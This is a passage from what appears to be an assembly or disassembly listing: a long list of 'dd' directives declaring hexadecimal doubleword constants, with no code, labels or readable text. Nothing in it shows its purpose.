83F1A174h, 10ADF63Fh, 0AF4ECF8Ah dd 0B4E80473h, 4D498EFEh, 1FA309DBh, 6F00DDFEh, 0C7A7F17h dd 0ADA22979h, 13550809h, 50A7EB8Ch, 9CA4319Dh, 0A1483857h dd 0ED502B13h, 0DBF30F6Bh, 9F7FCFFDh, 7726C95Ah, 33C6A248h dd 8EC43BF3h, 4E999D01h, 0DC90DAF7h, 0C90A7DE3h, 0DD931735h dd 0D2F72780h, 0D6CD31CCh, 6BBA0F8Dh, 2CA2232h, 20B0EC70h dd 5A1EF076h, 0F46DB82Ch, 0F6C760F4h, 6B5E2E6Fh, 80156B5h dd 0BC2E27E9h, 0DE099E95h, 0B262597Bh, 0E4704B70h, 0E3193395h dd 5E89275Bh, 0AA270158h, 3EA56664h, 393062CFh, 79E958BBh dd 0A5A878EFh, 1F55C1B0h, 807BE025h, 4128EFF1h, 0AB2DE907h dd 286F47F6h, 452B09CAh, 3C80289Fh, 1E093086h, 140E4361h dd 9970AF3Fh, 309C4161h, 8DD23CB7h, 0FF14E16h, 0A802EC6Eh dd 2C00B7D1h, 1CF3637Ah, 25BF425Bh, 0EB60FF91h, 5ADC49D1h dd 200CF153h, 0F860F617h, 0D62D5F28h, 839E2684h, 0A0A92542h dd 16C0C104h, 5797AC06h, 0F8C21A81h, 28BD448h, 24CA4040h dd 270F3418h, 0EC7C2A90h, 6E91037h, 0DC6812C6h, 0EBEB3B98h dd 45D8870h, 136F882Dh, 0F93CC003h, 0C0979658h, 2F1B7BAFh dd 0B3C017DBh, 384E7129h, 9017EA0h, 3FDFE9E8h, 5C71D3D4h dd 3BAFB12Eh, 0F84EBE5h, 0AA916257h, 0E634AB0h, 1568A33h dd 0A2C2AF0h, 0D0B7E925h, 0C7F1952Fh, 4B2C8CEh, 0BAC86852h dd 9FC495D8h, 165D9642h, 5FC3FE4Fh, 446BCA68h, 0D75B28FEh dd 68821FF9h, 56C46F4Bh, 205E8F83h, 0D7DE78B8h, 9423BF12h dd 45F8E0BBh, 82BEB201h, 0BD096408h, 0E90980C7h, 0B6462352h dd 466EB9ADh, 0FED8F393h, 94BD8916h, 6006EE5Fh, 0C70D529h dd 8011715h, 96F5311Ch, 88E65EABh, 64714170h, 18028B20h dd 5A567B5Ch, 2C1E405Eh, 720E5805h, 106EA12h, 7819DB31h dd 2B6B3407h, 68A948B7h, 0BD4470E1h, 0ED50ADDCh, 1D4517CFh dd 0D130015Ah, 202B4052h, 0E9120678h, 60D147EAh, 937C787Eh dd 0E229288Eh, 0D004BD47h, 0AA9572E9h, 4A1092A3h, 3A802E56h dd 59CF0438h, 0E388F820h, 21E8601Ch, 0B450A4E1h, 7ACB644Bh dd 2E934173h, 8ED6A00h, 0FA0E1133h, 0BAEA4EA9h, 2FB2D82Ch dd 0E987D099h, 2EB3086h, 3BF1D328h, 40908EE0h, 0BB9057A2h dd 391C4601h, 51D7F75Fh, 0D7D656FDh, 30B39C6h, 448D026h dd 0C10C52B5h, 0E35FD152h, 0D50BA41Bh, 2CC3CD01h, 476069E4h dd 1D430DC6h, 2F0C5DBBh, 5FE9ACA4h, 0FFEF1647h, 7868BE70h dd 2AD9B72h, 3D105214h, 0AD883E5Ch, 276805B1h, 9E92FD09h dd 0D5060B89h, 0FFACA16h dd 0D1A33E4Eh, 0BC10DB3Ah, 15A30543h, 1CBE278Ah, 0C03F8986h dd 6A8230D4h, 0C00CEB3Dh, 2C4C6145h, 0FB54082h, 0D1D221E9h dd 2F28976Ah, 5FC70724h, 2890994Dh, 0C2801F84h, 4EAC007h dd 169882F9h, 82870934h, 0D0EB8FA8h, 42C0A05Dh, 0E66BCE80h dd 887F02C6h, 47345AF0h, 0F5EFC275h, 0BBA84883h, 0E7F2A904h dd 9F80C425h, 27FD56C2h, 0C1D08008h, 0E3AC6CFEh, 2C9B59B5h dd 0DECD3812h, 9D616E15h, 0D6631783h, 0C3CE3E02h, 41463672h dd 0C029D10Eh, 0E07BF925h, 439EB43Ah, 42441EAEh, 30A175F7h dd 0C2EE87F7h, 662F8888h, 537956A8h, 0E656EA04h, 90BE5B1Fh dd 7FE908F5h, 0A4A4215Fh, 3F0B62A7h, 87F634B3h, 2205560h dd 0D9799737h, 0E149CBC0h, 68503965h, 721F7B80h, 76162558h dd 563B05F6h, 0D2529FBEh, 0F5B22153h, 0A2F9F112h, 0A67F8506h dd 2CEA9913h, 0C540BCEDh, 446B0B2Dh, 4A01740Ch, 60DE3AE6h dd 0A85BC345h, 632A8CCDh, 5B7B52EEh, 0B8E35Ch, 51C05F0Fh dd 5F834A42h, 0F61780C2h, 0AE763FA0h, 595EEB01h, 0D3010CCDh dd 801BB21h, 722849E9h, 6E28817h, 0B7CCD65Dh, 615A88B0h dd 3EB68D8Ch, 0EACA4E08h, 804AF649h, 0B41184B8h, 0A949860h dd 2C3C6EE7h, 0ED620196h, 0E3E9BB40h, 0E8170EB7h, 0A8A2B183h dd 0CBE94F6Bh, 0EEB8AE04h, 0E04E9FE6h, 2820644Ah, 19ECE0CCh dd 2AAF8DE9h, 7AF26B56h, 42D15D26h, 1055DFC4h, 2578FE2Eh dd 0BDC111F3h, 205C01C6h, 78B5B742h, 716813E7h, 0A022ED4Fh dd 7DDDB951h, 0F73D1448h, 0CE09DAD1h, 54877767h, 8B7E39E7h dd 4584582h, 7C69F748h, 79933570h, 0EC5673A0h, 233B7BADh dd 1AA150F6h, 0C717400h, 0E940D0F7h, 8AC65ECBh, 59CE046Bh dd 54A23487h, 185E6804h, 0D74DC1B7h, 0C9256AACh, 55454081h dd 8E7C100h, 0E80C5198h, 0E2903C4Ch, 0E5332CD9h, 0EE871D14h dd 71DAE84Fh, 8DDAFAE0h, 0DFD99825h, 5C971F96h, 42C78E4Ah dd 13739460h, 5A7AF71Bh, 2AE66816h, 19E9BE60h, 0C16109FFh dd 0DE5606E3h, 9986809Fh, 17360953h, 0EAB8B3E9h, 86685C71h dd 0F82F3765h, 8653F4F3h, 208052E1h, 2FB4FC8h, 0B62AE94Bh dd 0BEECB2E1h, 0BF60DD60h, 5F4574CFh, 7565EA5Ch, 183084FEh dd 26E9F90Fh, 0B530D840h, 0CC2A92F0h, 0F558D67Ah, 34CB07C6h dd 14D33238h, 0C6AD3BE4h, 0D64088AFh, 641268B9h, 33C1798Eh dd 2D008B62h, 3E2618ECh, 133EFA4Eh, 74EEA9EEh, 2AA6FF04h dd 133EF95Ah, 854187F2h, 7FED578Fh, 95EB5D70h, 0ADBD2353h dd 2D57D633h, 5972B1DDh, 9EBCA33Fh, 569410E7h, 0C0149DD1h dd 896C79F7h, 888A617Bh, 0C3E7DFEEh, 7FE6A6B9h, 5D76E22Dh dd 0B48826CEh, 0D782A3FCh, 2851EE60h, 0FEB7607Fh, 2DD521D5h dd 524230F3h, 5602908h, 45971870h, 0A8570BE9h, 0DF1866DDh dd 0A5461D04h, 385AB839h, 20E64ECBh, 0E992A4D7h, 0DF680709h dd 1C00B173h, 0B1E53C41h, 0BE8D5903h, 13B0FC0Eh, 4F3B9AFBh dd 47B504FAh, 685100A3h, 4B817675h, 2A34FE60h, 985F2CEFh dd 26530502h, 0AB90F4E9h, 2F2A01BBh, 5AD9F530h, 0C575072Eh dd 0FBEF953Ah, 198317C5h, 81EFF5C7h, 5A4E4B3h, 0ABF73B21h dd 59CB6589h, 61D73080h, 5BFC2788h, 98FBBB44h, 0ED40077h dd 0D8F71FA5h, 1C023540h, 0E9D34AF1h, 200B5F0Dh, 0AFDBED77h dd 65C4B157h, 6317F866h, 2DE56078h, 7D78F245h, 0CF98E95Eh dd 0BB26EC68h, 59A9026Bh, 0C3F749C6h, 5CE62403h, 671280D4h dd 7BA4074h, 0D91EE012h, 635B40BCh, 0ACD4E20Ch, 0E366C96Ah dd 2EBFA0C9h, 5F31F075h, 0B7C53FEh, 0CB5A74C5h, 0A469A30Fh dd 0E50B6596h, 707DEADh, 0B346D6F7h, 2C024B99h, 1E2F13BBh dd 873683Dh, 83C5945Bh, 1B667748h, 42E11B4Ah, 8040C09h dd 0A78D2117h, 7BE96F58h, 0FF1897ECh, 1ABD7A66h, 6AF8F75Bh dd 0A1272A2Bh, 0C333EC00h, 6751E912h, 0B581AD9h, 1D611BCAh dd 14D56E19h, 708DD501h, 50F56D25h, 9016EC6h, 0DEF602C4h dd 4BB1F653h, 0DA6A87FCh, 312F1054h, 4A5D6800h, 52591AFCh dd 0C2979CF8h, 58EAFECEh, 7B955CF9h, 0BC6212D0h, 0A6E25F8Eh dd 64FCB5B5h, 45BD04A3h, 92780AFCh, 701340F7h, 9AF63C0Fh dd 4E4AD29Dh, 930EE30Ch, 0D5F4F625h, 0CB2BB75Dh, 8042DC2Eh dd 0C6D716CEh, 0B12CF17h, 88E3449Eh, 83411DF3h, 5208EBC0h dd 823EDEE9h, 0DC703A4Eh, 2EA5BA00h, 0EA810D43h, 1F1D128Eh dd 0DED80125h, 3FA4A6AEh, 25E94BE0h, 7E3A19F6h, 0C5DD874Ah dd 802D141Bh, 93A5EAC5h, 0C9B9C738h, 85113C0Fh, 0CBFD63EBh dd 0F77C91A4h, 9E6EC4E9h, 0CBF33BE1h, 5A498510h, 91C74C98h dd 6747271Ah, 128CE904h, 0A89751A3h, 744C8602h, 685A0BE1h dd 9451404Eh, 5B147C8Ah, 1CB3FFAFh, 0A2E3F90h, 138E9F8h dd 0BF578041h, 40486146h, 64CF0481h, 0BF10436Dh, 0C6FB5A4h dd 4F0E5163h, 640BDAC2h, 0C829490Ah, 274D0178h, 1FF46876h dd 0C0C35725h, 4BA7C35Eh, 92BFE985h, 84D75CB2h, 61F20280h dd 1244B92Ch, 0A8C8BFAAh, 747B1F90h, 0A1305356h, 28642FDCh dd 0D5A06CC2h, 6CDDE7A0h, 5F5C03A9h, 9CBB24AEh, 3C068779h dd 0ECCC932Dh, 6808C2D6h, 0F86660DAh, 10895258h, 0C114C9B4h dd 0C30294E3h, 0CEB85682h, 2220C756h, 54C6398h, 9FED203Eh dd 0FFC9DF79h, 86DEACB0h, 8C48C597h, 0C219A04Ch, 572BC10Dh dd 11D40C77h, 0D58BDh, 3D3CE90Ch, 9FEE6Bh, 85451A90h, 5642B719h dd 0DE11897Fh, 0D7460552h, 0DDA5AA56h, 4C59FFFEh, 17D7F658h dd 2D8F5592h, 0E3728E9Fh, 317C2570h, 0F15B35ADh, 0BE0C0567h dd 4E23AFC8h, 0F6322310h, 47D6EACDh, 0BA80EE90h, 812BF7B4h dd 0BCD60Dh, 1C5AD009h, 67788C35h, 38091676h, 94A9829Dh dd 0ABDE5BF8h, 0B85F25DBh, 30E950C7h, 0D136B76Ah, 493541E1h dd 2AC41455h, 0BE6E25BAh, 0ED813D71h, 0EB32956Fh, 0CCC12605h dd 0D7F8F3AAh, 0CDC01FEDh, 34FE3D2Eh, 2DDF728h, 46B64D77h dd 72D61300h, 4A08683Eh, 0C18EBC33h, 5F5A57EFh, 298BB46Ah dd 0CC2F5B98h, 0BD0CFBDEh, 17E304BEh, 0F1F15FFEh, 8CE2DA5Eh dd 16A90040h, 401A2B27h, 2D6534D3h, 83F50EA5h, 0A1EAC73Ch dd 46E1DD4h, 17F21EF5h, 3925AAF8h, 3EDF548Bh, 26BE0999h dd 4BD68040h, 5ACB242h, 2B95E505h, 0FA96C7ECh, 0C24BD99Ah dd 460A942Eh, 0D7EF5D02h, 0BBC27783h, 0F55A4874h, 73669679h dd 47769F90h, 2572A302h, 1ABBC142h, 97EF5D81h, 3EB333A0h dd 40785686h, 0F0BF418Bh, 0CE0EB75Ch, 0C6F205D2h, 8FF2EAA1h dd 0F4C4E194h, 0C2EC137Ah, 0E0C8BFA5h, 5D9D40A6h, 0EBF5810Eh dd 71CCA93Fh, 107E24C7h, 0FB92E3Bh, 0C57AFB0Fh, 6593FEA1h dd 0CBD7B9EAh, 0C4AECC2Eh, 7BA91D14h, 209E01E7h, 0D0E949BAh dd 0CE16AF32h, 0F50BEC59h, 83291D1Ah, 87C2BCAEh, 7DBB5905h dd 0B4A96F03h, 0C757EF90h, 0DE43E90Dh, 54EA305Ah, 1E9F6304h dd 3004C189h, 0C1EA168Eh, 0C02CF5FAh, 0F8FA59EFh, 0D9E95B0Ch dd 0A1E1F5F4h, 3D74E38Fh, 0EBCCF1C3h, 4E1590A4h, 0EFD549FCh dd 0E20A0CF8h, 8755F150h, 0E82A6302h, 23C3F73Fh, 3486BDD0h dd 0ECC8897Bh, 69EA40B8h, 6C5BC637h, 11005BFFh, 89ED0C4Bh dd 19AB0C60h, 76BF06E7h, 0A89C379h, 9CB69011h, 3E668C4Fh dd 6732DD4Ah, 40E55D56h, 0E1E3E989h, 0AC8B53C4h, 0EAD0673Dh dd 549BCF27h, 619874A5h, 9333E225h, 4C68D0EAh, 609D9418h dd 54D977E2h dd 6805FB94h, 9EA825CDh, 0E8DCFDC4h, 0EB818080h, 6DCE5B42h dd 178124Eh, 3C76E908h, 0CAE84AD0h, 89B2D13Ch, 2461296Fh dd 8C0B2FDDh, 638A1E05h, 0CF01197Fh, 2EF8B0B9h, 0D15B0949h dd 58FFA012h, 0B300D269h, 6EBC0C1h, 8625DBF6h, 0E94710F3h dd 5085F94Fh, 0F3286B68h, 148F105Fh, 5FD95D27h, 0C4F609C4h dd 1DBEC05Fh, 85F8254h, 0F94F25F8h, 0C2682746h, 8ED9D773h dd 9FD09658h, 2725C1ECh, 0E9F87CE1h, 0F0EFBFBh, 99BA13A0h dd 2CF0F142h, 515A12D9h, 5E594B83h, 0B4FB12F6h, 541F6BBDh dd 97491379h, 0DEC57B5h, 75EDFB25h, 9EC0F612h, 0F4343A5Eh dd 50C4E21Ch, 0B1F80817h, 3A18E9F1h, 55B96EC4h, 95FA2D9Fh dd 55868E80h, 0C316ED24h, 85350B24h, 71F93AAh, 0AE5385D5h dd 4557EA42h, 0F4427D2Ah, 14128104h, 0C0E12FF9h, 0C3FDFAD4h dd 4A3E682Eh, 4BACF12h, 0AFA581B8h, 7886C6B3h, 5F4B42A8h dd 6812ADB7h, 3FD7A133h, 82B43EA2h, 0D10998C6h, 2BCF6253h dd 0CF724AB2h, 7E56E025h, 0EE6E986h, 3296D4FEh, 0E9A37652h dd 0F7622359h, 9DD455F1h, 76FA2C79h, 54C88068h, 0D70565ABh dd 2DD96D1Dh, 1A2FB040h, 1FE13568h, 0C22A9E72h, 2EFF7F56h dd 0BF3C68FFh, 0CF3D16B0h, 36F40B0Dh, 0F99D564Eh, 5659C061h dd 8F0B6852h, 8047BF1Ah, 1B87F2D2h, 893A19BCh, 2FA19ED6h dd 94A36B3h, 0F8009016h, 5BDC202Dh, 354B54B0h, 8BFA6685h dd 83257FB6h, 5C72490h, 395721BBh, 0A4010417h, 3C924AA4h dd 0BE020873h, 0FDC3A073h, 78F7A1EAh, 4960903Ah, 0F60034D7h dd 2EF780DFh, 5B2FFA28h, 4A2A7030h, 560A0CCh, 0B4739CBFh dd 0AAE90E17h, 0EAC0E058h, 0F271E8B7h, 0BA84FA47h, 45593B0Ch dd 800F24B4h, 642D2127h, 0E3810601h, 7E4B0857h, 7F02F3D8h dd 0A02EF37Dh, 0EC20E957h, 5D2D07CCh, 0BA07C94Dh, 54B92081h dd 4E0A8D45h, 108EA3BDh, 0EA40D7FAh, 560F1C1Bh, 18F86621h dd 202A704Bh, 0B6EAB20h, 36467AB8h, 0F8825554h, 60872AC7h dd 587F4914h, 0F6103C06h, 3594862h, 762A08EFh, 0E0E7B320h dd 7C592F7Fh, 99682FD1h, 94E698D5h, 109A285Eh, 9263B067h dd 5AD00166h, 182A4905h, 0E68C6076h, 6878791Fh, 7EE9DEA4h dd 510F20E2h, 0FBE91A2Dh, 9029A3FCh, 55C2F1BCh, 0FFA76153h dd 0C305B694h, 34EA0A3Ah, 5CAD7F80h, 944D4F29h, 0E90805CEh dd 5E55D013h, 0C1F05D56h, 427EC4Ah, 71BDC082h, 16772767h dd 0E95617C3h, 49EBEC59h, 17B7B638h, 88F632E9h, 0B239B1A5h dd 0FCEC3952h, 0FC17C897h, 56E883E6h, 57120868h, 28B422CBh dd 0F473417Ch, 2E06D53h, 42B5BBA3h, 0F1A82B41h, 5AD67AC0h dd 1EF58928h, 6497CB7Dh, 8BB59EE5h, 16D2C85Dh, 59D48D2Fh dd 0E2556762h, 0D567AC88h, 6D6DF14h, 2E2C109h, 747A0912h dd 0F8057F05h, 0FA39EF07h, 0C4BBBD3Eh, 98AB88EAh, 0A0BD0F63h dd 12E8EB88h, 777E7B18h, 607F82E4h, 0E928A2A9h, 3D9E0D30h dd 0BB0C530Eh, 0C3141AE9h, 99AE673Bh, 0F27B5FA5h, 0F32E6EF9h dd 10307FBCh, 9EAA58Ah, 68512541h, 0C20EA4FAh, 921E5FE5h dd 8A6028B8h, 3F570D07h, 3BD2DCB0h, 78BBB056h, 6F54E9C7h dd 2C2459DDh, 9B13B9DFh, 75C44EA8h, 1AD0B14h, 804E9CA7h dd 3708CA41h, 0C500BC4Bh, 0A7563E6h, 749FF501h, 85EA798h dd 859C5725h, 0DCADBE87h, 0BE96193h, 407B23B6h, 580D898h dd 4D401206h, 0F28D0B76h, 544C38D7h, 6A169F5Ah, 6B4E8186h dd 86B90885h, 514BEAC2h, 67E4057h, 0B6E9134Fh, 0EECC7533h dd 0A63CEA44h, 9D845F09h, 578C1DB7h, 4F421254h, 0A965E849h dd 60B50060h, 54C18DC7h, 7B4D6D1Ah, 6DBB5A4Ah, 82DD6BCBh dd 0D61DBD7Eh, 0A65B91BBh, 28348FE7h, 8658EBF0h, 0FE275A53h dd 2CADC7C2h, 0A1EB7F22h, 0EFA38D28h, 0EDA33FA5h, 1C0D508Eh dd 6E206126h, 4BB5CE01h, 0BA7105A5h, 0C279073Ah, 0E935916Bh dd 0E5D02ED1h, 269F66F2h, 260ACC97h, 0ACBE13B4h, 0BAA3C59Ch dd 854288BAh, 2526FC22h, 3E980CC7h, 0F63E51F1h, 0BF2B479h dd 0D9096706h, 15C33D6Fh, 1C7F9C16h, 0DC384437h, 40F5E803h dd 4B8123D1h, 0C538E3E5h, 0FAB9A505h, 304BACAh, 5B0BFDB8h dd 4AD5FECAh, 45D1D502h, 7367D7CBh, 6691E904h, 3813EFA4h dd 84D91A6Eh, 16D3CB03h, 0C05658Ch, 1BAD3F38h, 67229E80h dd 9A30609Ch, 0CF73D8E2h, 73DD892Eh, 5AB38125h, 47E1F386h dd 745B047Ch, 0AA871243h, 9F53C5C8h, 68950E5h, 9B4851D5h dd 0E7EA03FFh, 5800E8D4h, 8004EBC0h, 66F42EE3h, 2EB80CA1h dd 8F19F6F5h, 0F1423220h, 0BFB0C87Fh, 27017509h, 2CBFB0Ch dd 1A7D181Dh, 9129840Bh, 5946BB01h, 2F03FE6h, 0BF06164Bh dd 5A31BC1Eh, 0E74EFAB1h, 2ED18F40h, 91F7F73h, 1430E485h dd 7A26125Eh, 0FA204706h, 22AEDA4Ah, 0E24A6888h, 0A1D1FBD7h dd 2CF108DCh, 40DAB801h, 46E94B17h, 500FAA2Ch, 0E10977B0h dd 0CF778E62h, 274226BBh, 51135908h, 0D7617B02h, 68016233h dd 0BED43E39h, 0B259DCFAh, 1DBBE24Eh, 0DAF6476Bh, 6F4C5668h dd 7485C54Ah, 7F35CBFAh, 57C57430h, 624D68E7h, 4AB31909h dd 53505801h, 251E7AF4h, 0BC4665A9h, 648A60F9h, 0C6462EB7h dd 12BFBC25h, 0FED5F7EFh, 4B982F98h, 5CBFCEE8h, 0DDBFA073h dd 0D5C2F3Dh, 0D076B67Ah, 0E18820C9h, 0D93C89FDh, 817F44Ch dd 0F1638755h, 106A627Bh, 25E4A6BDh, 91F6015Fh, 0CF01AA26h dd 291DD633h, 0A2B951D8h, 5A8CD808h, 0D1ACC375h, 54D83A4h dd 0CBBFD1h, 941E3C68h, 0A05DA781h, 0C51415ACh, 203D9064h dd 5EBF31A1h, 3EBC0318h, 7A0651F4h, 70A0570Fh, 1199090Ch dd 0F67C53h, 0CD008A0h, 0E5444F14h, 6BE4CE86h, 0D06B126Ah dd 0F7F5B019h, 0A768D609h, 25B9E60Eh, 3167E36Ch, 2D9AF0A7h dd 0E37E961Ah, 93E606EBh, 4E46BF68h, 7A08A891h, 92541D7Bh dd 66614563h, 0C76CC047h, 0E8B80827h, 0B249214Eh, 67328B72h dd 455FA56Dh, 0B14C1763h, 0A8975C4Eh, 0DEAB15E3h, 42A49DEh dd 44E82755h, 77680301h, 2E043608h, 0B3209F57h, 0BCF3C601h dd 0F009D622h, 1D22A78h, 15421FCEh, 28102076h, 7A436503h dd 0BBE9CB31h, 0EE524016h, 0F13E2D64h, 0ACFD29C0h, 74AF44B6h dd 66B40CDDh, 2805C908h, 0D013E9C5h, 7956A2EEh, 47EABD5Eh dd 0B5C31753h, 353BACF7h, 8D8465C5h, 627DF3EFh, 0E4ADF24Ah dd 0C3060916h, 0A3758288h, 76D263E4h, 616481Dh, 23AF7C3Dh dd 8D685A40h, 0B73DBB7h, 0F65B839Bh, 89BA2916h, 11442EC5h dd 0E2EBA038h, 0AFBCDFC8h, 0ED814863h, 0A657127Bh, 3308088Fh dd 4AC33109h, 278DC4A3h, 4D20E45Dh, 227A026Ch, 0A6DE093Eh dd 68854373h, 0CCD3F5Ch, 28D0BCADh, 6D558CA4h, 70A93AA9h dd 98A0628h, 54D847E3h, 0B67F6548h, 58EF29C9h, 8073EB1h dd 4A82F8ADh, 986871E9h, 6E1DE580h, 0F554C5FEh, 59E812DDh dd 0E9D361BBh, 5BB57B6Bh, 8D86279h, 815D79E9h, 0F8B640A5h dd 5B6B7EB8h, 5AE17ECBh, 0FD909843h, 2CCCD7F7h, 0B04D5EB4h dd 277DB677h, 0DD2A6C52h, 7BEBD282h, 0FCA4AAB8h, 48D948F5h dd 0D97492F2h, 0F79DF80Bh, 82DB5191h, 0ECC0F606h, 8D69DF06h dd 31DF82BAh, 73215FFDh, 0C75A258Fh, 8E17355Bh, 6D3A99E1h dd 88C40893h, 6BE17770h, 2EF08C99h, 4F69B619h, 4CA24B05h dd 13D2C6C7h, 7D2FE79Eh, 295D30B0h, 35C5EE58h, 4882B3A9h dd 3EBE00AEh, 2FFD8E07h dd 0AE2AB1E1h, 10D7E354h, 3262DD3Fh, 625AB38Fh, 4CE75A0Eh dd 0F92FDF97h, 0C3DD0916h, 1A7765D5h, 6A5F0ACFh, 0CF1AFD6Ah dd 6F9E8C61h, 17202589h, 0DEEF1FECh, 465F8B67h, 886330DCh dd 96013FAh, 2CB821CEh, 0FA347A8Ch, 74C9ACBh, 821AA201h dd 2D05E937h, 0FEEE2D20h, 2B92BD0Ch, 9F25F3E4h, 17805A8Eh dd 15AA8EFFh, 5E918ABFh, 0EDB657ACh, 50FE515Ah, 23A13145h dd 0C18000BAh, 0BFCCBFAFh, 90D3B427h, 2556EBF0h, 1E603871h dd 0C6BD4558h, 301D5EACh, 18BA52BEh, 464B3B15h, 0E9F24EAFh dd 148B0769h, 0CD3070E1h, 2D9A2472h, 830B9C09h, 0BF0E21Bh dd 942C5007h, 807DC9EFh, 5A605250h, 0E9F73781h, 0E683420Dh dd 84D713F7h, 85270105h, 0B3DC4C55h, 8656AFE0h, 56FC26F2h dd 0F12AF4A5h, 2F222848h, 9F67C5Eh, 9105359h, 688083EEh dd 7B51976Eh, 1592559Fh, 0E3D706F2h, 0E950C17Ah, 462ABCEAh dd 3F2766D7h, 291421F8h, 5B367D9h, 41DF3BBBh, 7A8AD0AEh dd 14171ECFh, 94FAD129h, 9DA8AEC3h, 69810867h, 6FB6C383h dd 52F5F3B0h, 15121924h, 0F3C44D12h, 0A86DA8ABh, 432C285Ch dd 3D3227AEh, 0B8259E6Bh, 34D09A0h, 259430DBh, 9CD06682h dd 3CB83CE9h, 0DF14E75Ch, 2DF35BD7h, 0D4E83E0Ch, 0C25483E4h dd 24687E09h, 0D897D9F7h, 9BB80527h, 9231CDF4h, 0D9FD4FA7h dd 6B7CADAEh, 0D89E5DA7h, 1983A4A0h, 0E9127B06h, 41736B3h dd 0F64922EDh, 332E8021h, 7413AC63h, 51A020E9h, 0C66039B9h dd 0BFA409CAh, 0F4A1D764h, 558AF00Dh, 7309B29Ch, 8B805533h dd 282C13A4h, 211DE913h, 0F8937DBCh, 40EAD7FBh, 0B2E0F6F0h dd 5197F455h, 6FCE6273h, 3CEE5E05h, 0E3A353DEh, 0BE2061FAh dd 4BDC35D3h, 3AAAA122h, 0E9B06AECh, 19A2BF19h, 55EB4A57h dd 410C0341h, 32768BC3h, 85E7744h, 0A32956D2h, 94CB68E0h dd 184198FEh, 0D6F7F8E3h, 0E60481EEh, 0E1E97B8Fh, 0BE0985AFh dd 7591DD72h, 4DF57509h, 68E8309Bh, 8BAC4EB1h, 0F4ED5D25h dd 0CCE87B0Ch, 5528BE32h, 0D4B0BA01h, 0A78AC0Bh, 24D9547Ch dd 852A1718h, 0FD8BBA8Dh, 3AD35F25h, 547E243Fh, 12057708h dd 0F7D3E85Ah, 0D5FFEAC4h, 0A16C0C14h, 0A70BEB17h, 0DA7C4154h dd 135DF25Bh, 0AA039A74h, 5858F98Ch, 0F84CDC09h, 35CEE425h dd 1FA45C4Bh, 2CDE41D6h, 0D028B020h, 748A482Ch, 9D59DB44h dd 0F2DCA68h, 364DF3Bh, 0DB029F2h, 0A4C2025Ah, 47522370h dd 55BBFC60h, 127AF048h, 0C9AFE5B2h, 7353E4D4h, 99A0EE9Dh dd 0E1C0162Dh, 0F7E87E01h, 6CBA9BA1h, 0AD279218h, 36C960C4h dd 8B68212Ah, 5D0502F1h, 69620D6Ah, 9900978h, 17A6C906h dd 40E26F7h, 5A0A07C1h, 5695C061h, 8C16A9EFh, 5EB55F51h dd 7F5C86Ah, 5A5E7940h, 0CC3DFB2Dh, 0C464E82Fh, 0C6A63F48h dd 8E0C5D7Ah, 13B45C68h, 6910CCB4h, 0CC33DD60h, 9F7AD12Bh dd 7B0107F6h, 94E9530h, 5AD72E12h, 0E63FABCh, 6C023538h dd 6055044Bh, 7CAE7C66h, 20A8AE58h, 5D76B6B5h, 7F914FFCh dd 0BB61B405h, 0D86001FBh, 0F0347560h, 0FE0127F5h, 0A42D22A1h dd 4F70A507h, 387E637Ch, 0CBBABBB5h, 5A541AEAh, 1F3C472h dd 7413220h, 84D5F75Dh, 9A4A7066h, 7D5809C2h, 8BBC3679h dd 0C565949h, 0BF292A7h, 16B647C4h, 7E1D3ED4h, 86B961D6h dd 0DDCAEFD3h, 0AF01744Ch, 916F6E6h, 941F30D5h, 0C1F2A295h dd 63EC7758h, 61735723h, 7DE036E9h, 25EBD0C6h, 13185DCFh dd 0FB9F456Dh, 6F5C148Ah, 0AA130B06h, 0DC3BD80Ch, 23CA010h dd 0E5D284FDh, 6F5ED029h, 18B45164h, 0FC2BE5FCh, 835F8938h dd 0A569579Fh, 1AEE1594h, 8B6A24F3h, 32298277h, 0A22BC3ABh dd 7886F63Fh, 0AD33BA1h, 0BAB567F4h, 0C1DB05Eh, 66852DF6h dd 0F132F4A6h, 80D7CED1h, 38FBEFB6h, 2FC09067h, 0EE1BD6A5h dd 0FD099083h, 0F4245F29h, 0B953C4F3h, 0B64A970Fh, 0AAC9E4Fh dd 1684B817h, 1019CFBFh, 5D288B0Ah, 55E10AC9h, 5AD1157h dd 0FF41937Bh, 0A7537DC4h, 0B9BF3CFBh, 91724709h, 96E744Ch dd 5C5C9B32h, 4BEA5D69h, 0BA175975h, 0E17C99B5h, 888E008Ah dd 7B480C63h, 3D5C05D9h, 0D0B842F7h, 0F5670CD2h, 80165A34h dd 79F0C7C9h, 0F128204Ch, 0F970EBF6h, 0B151CB1Eh, 0B292F619h dd 929A37BAh, 51FD0A8Ah, 16FDCB29h, 2DF49836h, 0B49BA280h dd 48825484h, 0DD2B2A70h, 798CDF0h, 196A140Bh, 55165F08h dd 5D167595h, 91FFA6C8h, 0DB24B3Fh, 0E8AD03C5h, 48CEC1F7h dd 62666C2h, 5CD9592Dh, 0CC8318Ah, 0F714772Dh, 0A28B6520h dd 2D266177h, 192FA33Eh, 34294D2Ah, 0C1CD042Ah, 6401EAEAh dd 457C6440h, 0BD11812Eh, 9EFB0484h, 50C24F82h, 9BD3FFB9h dd 4059C42Dh, 0D25EF72Ah, 123E0FE0h, 0E1D06E1Ah, 6FC9405Ah dd 709E37Fh, 590559E9h, 0C3948817h, 9CFD090Bh, 0A8F50053h dd 0E972291Dh, 0AF929F46h, 0B25B7097h, 20BF9896h, 2C3FECE8h dd 6F72F09h, 7C49C5h, 4D4F169Fh, 28F2C381h, 31F00E12h dd 0EB2B70AAh, 48483797h, 6D18170Eh, 0C4D2B9F9h, 0D8E7AE33h dd 0BCB1DCC4h, 0CFB196DDh, 22E4A340h, 67F89F5Bh, 0A4DD2004h dd 0D1EE2DF1h, 68A9E918h, 8C5C337Ch, 6CB481F2h, 0E11B482h dd 28DD74C4h, 680B0837h, 0D8E76818h, 0AD0984FBh, 0DDE0D5BAh dd 0EE57E589h, 13D7B11Dh, 0D722FE66h, 0A8D155DFh, 0FB685203h dd 0FC5D1871h, 36BE0A3Eh, 2222712h, 0E150B009h, 0D73A5B2Ah dd 0D54FF768h, 142DC28Eh, 93E691A0h, 692FE504h, 1A9FB4Eh dd 0A3D6A0EEh, 2DA9A8DBh, 8693E597h, 0A3C95E9h, 6BCD80B5h dd 0BF18631Bh, 0C44B9961h, 84BEBC1h, 16A2D1A0h, 0AC66B729h dd 0B8501E54h, 3FF72A01h, 0D420C731h, 0F113BDA2h, 75D984C1h dd 37BA2B4Fh, 862DD29Bh, 9886C45Dh, 19F1000Ah, 0BF5762F0h dd 610B254Dh, 7FE94F79h, 70B24561h, 429F6C0Eh, 7286D450h dd 5E2CC120h, 4B7E828h, 0E3816619h, 